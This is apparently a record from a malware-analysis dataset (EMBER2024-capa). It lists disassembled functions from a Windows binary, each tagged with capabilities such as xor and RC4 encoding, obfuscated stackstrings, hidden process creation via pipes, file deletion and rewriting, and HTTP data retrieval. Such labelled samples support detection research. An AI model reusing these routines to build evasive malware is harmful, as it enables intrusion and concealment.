joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1800036d0
Capabilities:
Encode data using xor

Disassembly:
test r8, r8
je 0x18000389d
push rbx
push rsi
push rdi
push r12
push r13
sub rsp, 0x20
mov r13, qword [rsp + 0x70]
mov rbx, r8
mov r12, r9
mov rdi, rdx
mov rsi, rcx
mov r10, r13
cmp rbx, 0x10
jb 0x180003769
mov qword [rsp + 0x50], rbp
mov rbp, rbx
shr rbp, 4
imul rax, rbp, 0xfffffffffffffff0
add rbx, rax
sub r10, rsi
mov r8, rdi
sub r8, rsi
mov rcx, rsi
mov edx, 2
nop dword [rax]
nop word [rax + rax]
mov rax, qword [r10 + rcx]
xor rax, qword [rcx]
mov qword [r8 + rcx], rax
lea rcx, [rcx + 8]
sub rdx, 1
jne 0x180003730
mov r8, r12
mov rdx, rdi
mov rcx, rdi
call fcn.180002d40
mov r10, rdi
add rsi, 0x10
add rdi, 0x10
sub rbp, 1
jne 0x180003711
mov rbp, qword [rsp + 0x50]
test rbx, rbx
je 0x180003884
mov qword [rsp + 0x58], r14
mov qword [rsp + 0x60], r15
nop dword [rax]
mov r8, r10
mov r9, rdi
mov r11d, 1
mov r14d, 2
sub r8, rsi
sub r9, rsi
sub r11, rsi
sub r14, rsi
xor eax, eax
mov r15d, 3
sub r15, rsi
nop dword [rax]
cmp rax, rbx
jae 0x180003824
lea rdx, [rax + rsi]
movzx ecx, byte [r8 + rdx]
xor cl, byte [rdx]
mov byte [r9 + rdx], cl
lea rcx, [r11 + rdx]
cmp rcx, rbx
jae 0x180003821
movzx ecx, byte [rsi + rax + 1]
xor cl, byte [rax + r10 + 1]
mov byte [rdi + rax + 1], cl
lea rcx, [r14 + rdx]
cmp rcx, rbx
jae 0x18000381b
movzx ecx, byte [rsi + rax + 2]
xor cl, byte [rax + r10 + 2]
mov byte [rdi + rax + 2], cl
lea rcx, [r15 + rdx]
cmp rcx, rbx
jae 0x180003815
movzx ecx, byte [rsi + rax + 3]
xor cl, byte [rax + r10 + 3]
mov byte [rdi + rax + 3], cl
add rax, 4
cmp rax, 0x10
jb 0x1800037b0
jmp 0x180003851
add rax, 3
jmp 0x180003824
add rax, 2
jmp 0x180003824
inc rax
cmp rax, 0x10
jae 0x180003851
sub r10, rdi
lea rcx, [rax + rdi]
mov edx, reloc.WS2_32.dll_recv
sub rdx, rax
nop dword [rax]
movzx eax, byte [r10 + rcx]
mov byte [rcx], al
lea rcx, [rcx + 1]
sub rdx, 1
jne 0x180003840
mov r8, r12
mov rdx, rdi
mov rcx, rdi
call fcn.180002d40
mov r10, rdi
cmp rbx, 0x10
jbe 0x18000387a
add rsi, 0x10
add rdi, 0x10
sub rbx, 0x10
jne 0x180003780
mov r14, qword [rsp + 0x58]
mov r15, qword [rsp + 0x60]
cmp r13, r10
je 0x180003892
movups xmm0, xmmword [r10]
movups xmmword [r13], xmm0
add rsp, 0x20
pop r13
pop r12
pop rdi
pop rsi
pop rbx
ret
Function at 0x1800070a0
Capabilities:
Create a process with modified i/o handles and window
Create pipe
Create process on windows
Read file on windows
Read pipe

Disassembly:
push rbp
push rsi
push rdi
push r14
push r15
lea rbp, [rsp - 0x30]
sub rsp, 0x130
mov qword [rsp + 0x50], 0xfffffffffffffffe
mov qword [rsp + 0x160], rbx
mov rax, qword [0x180067008]
xor rax, rsp
mov qword [rbp + 0x28], rax
mov r14d, r9d
mov r15, r8
mov rsi, rdx
mov qword [rbp - 0x60], rdx
xor ebx, ebx
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x68], rbx
mov dword [rbp - 0x50], ebx
xor edx, edx
lea r8d, [rbx + 0x60]
lea rcx, [rbp - 0x48]
call fcn.180037440
mov qword [rbp - 0x78], rbx
xor eax, eax
mov qword [rbp - 0x70], rax
mov qword [rbp - 0x68], rax
mov qword [rbp - 0x80], rax
mov dword [rbp - 0x80], 1
mov dword [rsp + 0x70], 0x18
mov qword [rsp + 0x78], rbx
mov r9d, 0x2800
lea r8, [rsp + 0x70]
lea rdx, [rsp + 0x68]
lea rcx, [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
je 0x180007162
mov dword [rbp - 0x50], 0x68
mov dword [rbp - 0x14], 0x101
mov word [rbp - 0x10], bx
mov rax, qword [rsp + 0x68]
mov qword [rbp + 0x10], rax
mov qword [rbp + 8], rax
cmp qword [rsi + 0x18], 0x10
jb 0x18000716e
mov rdx, qword [rsi]
jmp 0x180007171
mov rdx, rsi
lea rax, [rbp - 0x78]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x50]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
setne dil
call qword [sym.imp.KERNEL32.dll_GetLastError]
test dil, dil
je 0x18000727c
mov rcx, qword [rbp - 0x78]
test r14d, r14d
je 0x1800071ce
imul edx, r14d, 0xea60
jmp 0x1800071d3
mov edx, 0x927c0
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x58], ebx
mov qword [rsp + 0x28], rbx
lea rax, [rsp + 0x58]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
test eax, eax
je 0x18000727c
mov eax, dword [rsp + 0x58]
test eax, eax
je 0x18000727c
lea ecx, [rax + 1]
call fcn.180033ee0
mov rdi, rax
mov r8d, dword [rsp + 0x58]
inc r8d
xor edx, edx
mov rcx, rax
call fcn.180037440
mov dword [rbp + 0x20], ebx
mov qword [rsp + 0x20], rbx
lea r9, [rbp + 0x20]
mov r8d, dword [rsp + 0x58]
mov rdx, rdi
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_ReadFile]
cmp byte [rdi], bl
je 0x180007259
or rbx, 0xffffffffffffffff
nop
inc rbx
cmp byte [rdi + rbx], 0
jne 0x180007250
mov r8, rbx
mov rdx, rdi
mov rcx, r15
call fcn.1800020b0
mov rcx, rdi
call fcn.180033ed8
nop
mov rcx, rsi
call fcn.180001e50
mov al, 1
jmp 0x180007286
mov rcx, rsi
call fcn.180001e50
xor al, al
mov rcx, qword [rbp + 0x28]
xor rcx, rsp
call fcn.180033e70
mov rbx, qword [rsp + 0x160]
add rsp, 0x130
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret
Function at 0x180007c70
Capabilities:
Create thread

Disassembly:
push rdi
sub rsp, 0x50
mov qword [rsp + 0x30], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x68], rsi
mov rax, qword [0x180067008]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov rdi, rdx
mov ecx, 8
call fcn.180033e94
mov rsi, rax
mov qword [rsp + 0x38], rax
xor eax, eax
mov qword [rsi], rax
mov ecx, 0x690
call fcn.180033e94
mov rbx, rax
xor edx, edx
mov r8d, 0x690
mov rcx, rax
call fcn.180037440
mov qword [rsi], rbx
mov eax, recv
nop word [rax + rax]
movups xmm0, xmmword [rdi]
movups xmmword [rbx], xmm0
movups xmm1, xmmword [rdi + 0x10]
movups xmmword [rbx + 0x10], xmm1
movups xmm0, xmmword [rdi + 0x20]
movups xmmword [rbx + 0x20], xmm0
movups xmm1, xmmword [rdi + 0x30]
movups xmmword [rbx + 0x30], xmm1
movups xmm0, xmmword [rdi + 0x40]
movups xmmword [rbx + 0x40], xmm0
movups xmm1, xmmword [rdi + 0x50]
movups xmmword [rbx + 0x50], xmm1
movups xmm0, xmmword [rdi + 0x60]
movups xmmword [rbx + 0x60], xmm0
lea rbx, [rbx + 0x80]
movups xmm1, xmmword [rdi + 0x70]
movups xmmword [rbx - 0x10], xmm1
lea rdi, [rdi + 0x80]
sub rax, 1
jne 0x180007ce0
movups xmm0, xmmword [rdi]
movups xmmword [rbx], xmm0
xor ecx, ecx
mov dword [rsp + 0x40], ecx
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], ecx
mov r9, rsi
lea r8, [0x180007680]
xor edx, edx
call fcn.180038520
mov al, 1
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.180033e70
mov rbx, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x68]
add rsp, 0x50
pop rdi
ret
Function at 0x180008ad0
Capabilities:
Encode data using xor
Get memory capacity

Disassembly:
push rdi
sub rsp, 0x1d0
mov qword [rsp + 0x38], 0xfffffffffffffffe
mov qword [rsp + 0x1e8], rbx
mov rax, qword [0x180067008]
xor rax, rsp
mov qword [rsp + 0x1c0], rax
mov rdi, rcx
mov qword [rsp + 0x40], rcx
xor ebx, ebx
mov dword [rsp + 0x30], ebx
mov qword [rcx + 0x18], reloc.WS2_32.dll_ntohs
mov qword [rcx + 0x10], rbx
cmp qword [rcx + 0x18], 0x10
jb 0x180008b22
mov rax, qword [rcx]
jmp 0x180008b25
mov rax, rdi
mov byte [rax], bl
mov dword [rsp + 0x30], 1
mov dword [rsp + 0x50], 0x40
lea rcx, [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
test eax, eax
je 0x180008cbc
xorps xmm3, xmm3
movaps xmm2, xmm3
mov rdx, qword [rsp + 0x58]
mov rcx, rdx
and ecx, 0x3fffffff
shr rdx, 0x1e
mov rax, qword [rsp + 0x60]
mov r8, rax
shr r8, 0x1e
and eax, 0x3fffffff
movsd xmm4, qword [0x18005a058]
movsd xmm0, qword [0x18005a048]
test rcx, rcx
je 0x180008ba1
shr rcx, 0x14
xorps xmm3, xmm3
cvtsi2sd xmm3, rcx
test rcx, rcx
jns 0x180008b9d
addsd xmm3, xmm4
mulsd xmm3, xmm0
test rax, rax
je 0x180008bbf
shr rax, 0x14
xorps xmm2, xmm2
cvtsi2sd xmm2, rax
test rax, rax
jns 0x180008bbb
addsd xmm2, xmm4
mulsd xmm2, xmm0
xorps xmm0, xmm0
cvtsi2sd xmm0, rdx
test rdx, rdx
jns 0x180008bd0
addsd xmm0, xmm4
addsd xmm3, xmm0
xorps xmm1, xmm1
cvtsi2sd xmm1, r8
test r8, r8
jns 0x180008be5
addsd xmm1, xmm4
addsd xmm2, xmm1
movdqa xmm0, xmmword [0x18005a090]
movdqu xmmword [rsp + 0x90], xmm0
movdqa xmm1, xmmword [0x18005a0a0]
movdqu xmmword [rsp + 0xa0], xmm1
mov word [rsp + 0xb0], 0x2626
lea r8, [rsp + 0xb0]
mov r9d, reloc.WS2_32.dll_inet_addr
nop dword [rax]
nop word [rax + rax]
movzx edx, byte [r8]
xor byte [r8 + 1], dl
movzx eax, byte [r8 - 1]
xor al, dl
mov byte [r8], al
movzx eax, byte [r8 - 2]
xor byte [r8 - 1], al
lea r8, [r8 - 3]
sub r9, 1
jne 0x180008c30
xor byte [rsp + 0x90], 0x3c
movsd qword [rsp + 0x20], xmm2
movq r9, xmm3
lea r8, [rsp + 0x90]
mov edx, 0x100
lea rcx, [rsp + 0xc0]
call fcn.180007df0
cmp byte [rsp + 0xc0], 0
je 0x180008ca9
lea rax, [rsp + 0xc0]
or rbx, 0xffffffffffffffff
nop dword [rax + rax]
inc rbx
cmp byte [rax + rbx], 0
jne 0x180008ca0
mov r8, rbx
lea rdx, [rsp + 0xc0]
mov rcx, rdi
call fcn.180006140
mov rax, rdi
mov rcx, qword [rsp + 0x1c0]
xor rcx, rsp
call fcn.180033e70
mov rbx, qword [rsp + 0x1e8]
add rsp, 0x1d0
pop rdi
ret
Function at 0x180008cf0
Capabilities:
Get hostname
Resolve dns

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x160
mov rax, qword [0x180067008]
xor rax, rsp
mov qword [rsp + 0x150], rax
mov rdi, rcx
xor ebx, ebx
lea rcx, [rsp + 0x40]
mov dword [rsp + 0x20], ebx
xor edx, edx
mov r8d, 0x104
call fcn.180037440
mov edx, 0x104
lea rcx, [rsp + 0x40]
call qword [sym.imp.WS2_32.dll_gethostname]
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, [rsp + 0x40]
call qword [sym.imp.WS2_32.dll_gethostbyname]
test rax, rax
jne 0x180008d94
mov word [rsp + 0x28], 0x3231
mov dword [rsp + 0x2e], 0x312e30
mov dword [rsp + 0x2a], 0x2e302e37
mov qword [rdi + 0x18], reloc.WS2_32.dll_ntohs
mov qword [rdi + 0x10], rbx
mov byte [rdi], bl
cmp byte [rsp + 0x28], bl
je 0x180008d8d
lea rax, [rsp + 0x28]
or rbx, 0xffffffffffffffff
inc rbx
cmp byte [rax + rbx], 0
jne 0x180008d84
lea rdx, [rsp + 0x28]
jmp 0x180008ddc
mov rdx, qword [rax + 0x18]
lea rcx, [rsp + 0x24]
mov r8d, 4
mov rdx, qword [rdx]
call fcn.180035250
mov ecx, dword [rsp + 0x24]
call qword [sym.imp.WS2_32.dll_inet_ntoa]
mov qword [rdi + 0x18], reloc.WS2_32.dll_ntohs
mov qword [rdi + 0x10], rbx
mov byte [rdi], bl
cmp byte [rax], bl
je 0x180008dd9
or rbx, 0xffffffffffffffff
nop dword [rax + rax]
inc rbx
cmp byte [rax + rbx], 0
jne 0x180008dd0
mov rdx, rax
mov r8, rbx
mov rcx, rdi
call fcn.1800020b0
mov rax, rdi
mov rcx, qword [rsp + 0x150]
xor rcx, rsp
call fcn.180033e70
mov rbx, qword [rsp + 0x178]
add rsp, 0x160
pop rdi
ret
Function at 0x180008e10
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rdi
push rbp
lea rbp, [rsp - 0x250]
sub rsp, 0x350
mov rax, qword [0x180067008]
xor rax, rsp
mov qword [rbp + 0x240], rax
mov rdi, rdx
mov ebx, ecx
xor edx, edx
lea rcx, [rsp + 0x40]
lea r8d, [rdx + 0x60]
call fcn.180037440
lea rcx, [rsp + 0x40]
mov byte [rsp + 0x40], gethostbyname
mov byte [rbp - 0x80], bl
call qword [sym.imp.NETAPI32.dll_Netbios]
test al, al
je 0x180008e6e
xor al, al
jmp 0x180008f71
lea rax, [rbp - 0x60]
mov byte [rsp + 0x40], reloc.WS2_32.dll_gethostbyaddr
lea rcx, [rsp + 0x40]
mov qword [rsp + 0x48], rax
mov byte [rbp - 0x80], bl
mov dword [rsp + 0x50], 0x2a0258
call qword [sym.imp.NETAPI32.dll_Netbios]
test al, al
jne 0x180008e67
movdqa xmm0, xmmword [0x18005a150]
mov ecx, 0x1d
movdqu xmmword [rbp + 0x200], xmm0
mov dword [rbp + 0x210], 0xc21794b
mov dword [rbp + 0x214], 0x732b1929
mov dword [rbp + 0x218], 0x794b7b5e
mov word [rbp + 0x21c], 0x2121
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [rbp + rcx + 0x1ff]
xor byte [rbp + rcx + 0x200], al
dec rcx
test rcx, rcx
jg 0x180008ee0
movzx ecx, byte [rbp - 0x5c]
movzx edx, byte [rbp - 0x5d]
movzx eax, byte [rbp - 0x5b]
movzx r10d, byte [rbp - 0x5e]
movzx r9d, byte [rbp - 0x5f]
movzx r8d, byte [rbp - 0x60]
xor byte [rbp + 0x200], 0xc
mov dword [rsp + 0x38], eax
mov dword [rsp + 0x30], ecx
lea rcx, [rbp + 0x220]
mov dword [rsp + 0x28], edx
lea rdx, [rbp + 0x200]
mov dword [rsp + 0x20], r10d
call fcn.180007d90
cmp byte [rbp + 0x220], 0
jne 0x180008f4b
xor r8d, r8d
jmp 0x180008f60
lea rax, [rbp + 0x220]
or r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x180008f56
lea rdx, [rbp + 0x220]
mov rcx, rdi
call fcn.1800020b0
mov al, 1
mov rcx, qword [rbp + 0x240]
xor rcx, rsp
call fcn.180033e70
lea r11, [rsp + 0x350]
mov rbx, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
Function at 0x180009430
Capabilities:
Create thread

Disassembly:
push rdi
sub rsp, 0x50
mov qword [rsp + 0x30], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x68], rsi
mov rax, qword [0x180067008]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov rdi, rdx
mov ecx, 8
call fcn.180033e94
mov rsi, rax
mov qword [rsp + 0x38], rax
xor eax, eax
mov qword [rsi], rax
mov ecx, 0x9d4
call fcn.180033e94
mov rbx, rax
xor edx, edx
mov r8d, 0x9d4
mov rcx, rax
call fcn.180037440
mov qword [rsi], rbx
mov eax, socket
nop word [rax + rax]
movups xmm0, xmmword [rdi]
movups xmmword [rbx], xmm0
movups xmm1, xmmword [rdi + 0x10]
movups xmmword [rbx + 0x10], xmm1
movups xmm0, xmmword [rdi + 0x20]
movups xmmword [rbx + 0x20], xmm0
movups xmm1, xmmword [rdi + 0x30]
movups xmmword [rbx + 0x30], xmm1
movups xmm0, xmmword [rdi + 0x40]
movups xmmword [rbx + 0x40], xmm0
movups xmm1, xmmword [rdi + 0x50]
movups xmmword [rbx + 0x50], xmm1
movups xmm0, xmmword [rdi + 0x60]
movups xmmword [rbx + 0x60], xmm0
lea rbx, [rbx + 0x80]
movups xmm1, xmmword [rdi + 0x70]
movups xmmword [rbx - 0x10], xmm1
lea rdi, [rdi + 0x80]
sub rax, 1
jne 0x1800094a0
movups xmm0, xmmword [rdi]
movups xmmword [rbx], xmm0
movups xmm1, xmmword [rdi + 0x10]
movups xmmword [rbx + 0x10], xmm1
movups xmm0, xmmword [rdi + 0x20]
movups xmmword [rbx + 0x20], xmm0
movups xmm1, xmmword [rdi + 0x30]
movups xmmword [rbx + 0x30], xmm1
movups xmm0, xmmword [rdi + 0x40]
movups xmmword [rbx + 0x40], xmm0
mov eax, dword [rdi + 0x50]
mov dword [rbx + 0x50], eax
xor ecx, ecx
mov dword [rsp + 0x40], ecx
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], ecx
mov r9, rsi
lea r8, [0x180009560]
xor edx, edx
call fcn.180038520
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.180033e70
mov rbx, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x68]
add rsp, 0x50
pop rdi
ret
Function at 0x18000a1b0
Capabilities:
Delete file
Get file size
Read file on windows
Write file on windows

Disassembly:
mov r11, rsp
push rsi
push rdi
push r14
sub rsp, 0x60
mov qword [r11 - 0x38], 0xfffffffffffffffe
mov qword [r11 + 8], rbx
mov qword [r11 + 0x18], rbp
mov rax, qword [0x180067008]
xor rax, rsp
mov qword [rsp + 0x58], rax
mov rdi, rdx
mov qword [r11 - 0x30], rdx
cmp qword [rdx + 0x18], 0x10
jb 0x18000a1ed
mov rcx, qword [rdx]
jmp 0x18000a1f0
mov rcx, rdi
xor r14d, r14d
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov edx, 0x80000000
lea r8d, [r14 + 1]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x18000a231
or rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x18000a310
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSize]
movsxd rsi, eax
mov ecx, esi
call fcn.180033ee0
mov rbp, rax
mov qword [rsp + 0x20], r14
lea r9, [rsp + 0x50]
mov r8d, esi
mov rdx, rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov rcx, rbx
test eax, eax
je 0x18000a226
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp qword [rdi + 0x18], 0x10
jb 0x18000a27b
mov rcx, qword [rdi]
jmp 0x18000a27e
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
mov r8, rsi
test esi, esi
je 0x18000a2ad
mov rdx, rbp
nop
movzx ecx, byte [rdx]
movzx eax, cl
shl al, 4
sar cl, 4
and cl, 0xf
or cl, al
mov byte [rdx], cl
lea rdx, [rdx + 1]
sub r8, 1
jne 0x18000a290
cmp qword [rdi + 0x18], 0x10
jb 0x18000a2b9
mov rcx, qword [rdi]
jmp 0x18000a2bc
mov rcx, rdi
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
mov qword [rsp + 0x20], r14
lea r9, [rsp + 0x54]
mov r8d, esi
mov rdx, rbp
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbp
call fcn.180033ed8
nop
mov rcx, rdi
call fcn.180001e50
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.180033e70
lea r11, [rsp + 0x60]
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x30]
mov rsp, r11
pop r14
pop rdi
pop rsi
ret

Function at 0x18000a7a0
Capabilities:
Encode data using add xor sub operations
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
mov r10, qword [rcx]
mov rbx, rdx
movsxd rdi, r8d
mov eax, dword [r10]
mov r11d, dword [r10 + 4]
test r8d, r8d
jle 0x18000a7fd
nop
inc al
lea rbx, [rbx + 1]
movzx eax, al
mov r9d, dword [r10 + rax*4 + 8]
lea r8, [r10 + rax*4]
lea ecx, [r11 + r9]
movzx r11d, cl
mov edx, dword [r10 + r11*4 + 8]
mov dword [r8 + 8], edx
add dl, r9b
mov dword [r10 + r11*4 + 8], r9d
movzx ecx, dl
movzx edx, byte [r10 + rcx*4 + 8]
xor byte [rbx - 1], dl
sub rdi, 1
jne 0x18000a7c0
mov rbx, qword [rsp + 8]
mov rdi, qword [rsp + 0x10]
mov dword [r10 + 4], r11d
mov dword [r10], eax
ret
Function at 0x18000aa40
Capabilities:
Receive http response

Disassembly:
push rsi
push rdi
sub rsp, 0x48
mov rax, qword [0x180067008]
xor rax, rsp
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x70], rbx
mov rbx, rdx
mov qword [rsp + 0x38], r14
mov r14, rcx
mov qword [rsp + 0x30], r15
xor r15d, r15d
mov dword [rsp + 0x20], r15d
mov esi, r15d
mov edi, r15d
mov qword [rsp + 0x40], rbp
nop
mov rcx, qword [r14]
lea rdx, [rsp + 0x20]
call qword [sym.imp.WINHTTP.dll_WinHttpQueryDataAvailable]
test eax, eax
je 0x18000ab84
mov eax, dword [rsp + 0x20]
test eax, eax
je 0x18000ab84
test rsi, rsi
je 0x18000aab5
mov rcx, rsi
call fcn.180033ed8
mov ecx, dword [rsp + 0x20]
jmp 0x18000aab8
mov rcx, rax
call fcn.180033ee0
mov r8d, dword [rsp + 0x20]
lea r9, [rsp + 0x24]
mov rcx, qword [r14]
mov rdx, rax
mov rsi, rax
mov dword [rsp + 0x24], r15d
call qword [sym.imp.WINHTTP.dll_WinHttpReadData]
test eax, eax
je 0x18000ab84
cmp dword [rsp + 0x24], r15d
je 0x18000ab84
mov ecx, dword [rbx + 8]
mov edx, dword [rsp + 0x20]
mov r8d, dword [rbx + 0xc]
lea ebp, [rcx + rdx]
cmp ebp, r8d
jbe 0x18000ab5f
add ebp, ebp
cmp ebp, ecx
mov eax, ebp
cmova eax, ecx
mov dword [rbx + 8], eax
cmp r8d, ebp
jae 0x18000ab5f
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8d, ebp
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rdi, rax
test rax, rax
je 0x18000abbb
mov r8d, dword [rbx + 8]
mov rcx, rax
mov rdx, qword [rbx]
call fcn.180035250
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, qword [rbx]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov edx, dword [rsp + 0x20]
mov qword [rbx], rdi
mov dword [rbx + 0xc], ebp
mov ecx, dword [rbx + 8]
add rcx, qword [rbx]
mov r8d, edx
mov rdx, rsi
call fcn.180035250
mov eax, dword [rsp + 0x20]
add dword [rbx + 8], eax
mov edi, 1
test eax, eax
jne 0x18000aa80
mov r15, qword [rsp + 0x30]
mov r14, qword [rsp + 0x38]
mov rbp, qword [rsp + 0x40]
mov rbx, qword [rsp + 0x70]
test rsi, rsi
je 0x18000aba5
mov rcx, rsi
call fcn.180033ed8
mov eax, edi
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.180033e70
add rsp, 0x48
pop rdi
pop rsi
ret
mov eax, dword [rsp + 0x20]
jmp 0x18000ab77
Function at 0x18000abd0
Capabilities:
Read http header

Disassembly:
mov r11, rsp
sub rsp, 0x98
mov rax, qword [0x180067008]
xor rax, rsp
mov qword [rsp + 0x80], rax
mov rcx, qword [rcx]
xor eax, eax
mov qword [r11 - 0x57], rax
mov qword [r11 - 0x4f], rax
mov qword [r11 - 0x47], rax
mov qword [r11 - 0x3f], rax
mov qword [r11 - 0x37], rax
mov qword [r11 - 0x2f], rax
mov qword [r11 - 0x27], rax
mov dword [rsp + 0x79], eax
mov word [rsp + 0x7d], ax
mov byte [rsp + 0x7f], al
mov byte [rsp + 0x40], al
mov dword [rsp + 0x30], 0x40
test rcx, rcx
je 0x18000ac86
mov qword [r11 - 0x70], rax
lea r9, [r11 - 0x58]
xor r8d, r8d
lea rax, [r11 - 0x68]
mov qword [r11 - 0x78], rax
lea edx, [r8 + 0x13]
call qword [sym.imp.WINHTTP.dll_WinHttpQueryHeaders]
test eax, eax
jne 0x18000ac66
xor eax, eax
mov rcx, qword [rsp + 0x80]
xor rcx, rsp
call fcn.180033e70
add rsp, 0x98
ret
mov eax, dword [rsp + 0x30]
cmp eax, 0x3c
ja 0x18000ac4c
cmp rax, 0x40
jae 0x18000acae
mov byte [rsp + rax + 0x40], 0
inc eax
cmp eax, 0x40
jae 0x18000aca8
mov byte [rsp + rax + 0x40], 0
lea rcx, [rsp + 0x40]
call fcn.18003b924
mov rcx, qword [rsp + 0x80]
xor rcx, rsp
call fcn.180033e70
add rsp, 0x98
ret
call fcn.1800346fc
int3
call fcn.1800346fc
int3
Function at 0x18000b3d0
Capabilities:
Encode data using xor

Disassembly:
push rbp
lea rbp, [rsp - 0x70]
sub rsp, 0x170
mov rax, qword [0x180067008]
xor rax, rsp
mov qword [rbp + 0x68], rax
xor edx, edx
lea rcx, [rsp + 0x20]
mov r8d, 0x114
call fcn.180037440
lea rcx, [rbp + 0x50]
mov dword [rbp + 0x60], WSASetLastError
mov dword [rbp + 0x5c], 0x6c0064
mov dword [rbp + 0x58], 0x2e006c
mov dword [rbp + 0x54], 0x6c0064
mov dword [rbp + 0x50], 0x74006e
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov r8, rax
test rax, rax
jne 0x18000b437
xor eax, eax
jmp 0x18000b4b1
mov dword [rbp + 0x40], 0xb3f498ec
mov eax, recv
mov dword [rbp + 0x44], 0x91f4a2d6
mov dword [rbp + 0x48], 0x96f990e3
mov word [rbp + 0x4c], 0xf8f8
nop word [rax + rax]
movzx ecx, byte [rbp + rax + 0x3f]
xor byte [rbp + rax + 0x40], cl
dec rax
test rax, rax
jg 0x18000b460
xor byte [rbp + 0x40], 0xbe
lea rdx, [rbp + 0x40]
mov rcx, r8
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x18000b433
lea rcx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x114
call rax
test eax, eax
jne 0x18000b433
mov eax, dword [rsp + 0x24]
cmp eax, 6
ja 0x18000b4ac
jb 0x18000b433
cmp dword [rsp + 0x28], 3
jb 0x18000b433
mov eax, 1
mov rcx, qword [rbp + 0x68]
xor rcx, rsp
call fcn.180033e70
add rsp, 0x170
pop rbp
ret
Function at 0x18000d8c0
Capabilities:
Get common file path
Write file on windows

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r14
push r15
sub rsp, 0x4a0
mov qword [rsp + 0x60], 0xfffffffffffffffe
mov rax, qword [0x180067008]
xor rax, rsp
mov qword [rsp + 0x490], rax
mov rsi, r9
mov r12, r8
mov r15, rdx
mov rbp, rcx
mov r14, qword [rsp + 0x500]
xor edx, edx
mov r8d, 0x208
lea rcx, [rsp + 0x70]
call fcn.180037440
lea rdx, [rsp + 0x70]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
lea r9, [rsp + 0x280]
xor r8d, r8d
lea rdx, [0x1800589c8]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetTempFileNameW]
lea rcx, [rsp + 0x70]
sub rcx, 2
lea rcx, [rcx + 2]
cmp word [rcx], 0
jne 0x18000d946
lea r8, [rsp + 0x280]
xor edx, edx
nop word [rax + rax]
movzx eax, word [r8 + rdx*2]
mov word [rcx + rdx*2], ax
lea rdx, [rdx + 1]
test ax, ax
jne 0x18000d960
xor ebx, ebx
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
lea rcx, [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x18000da9d
mov dword [rsp + 0x68], ebx
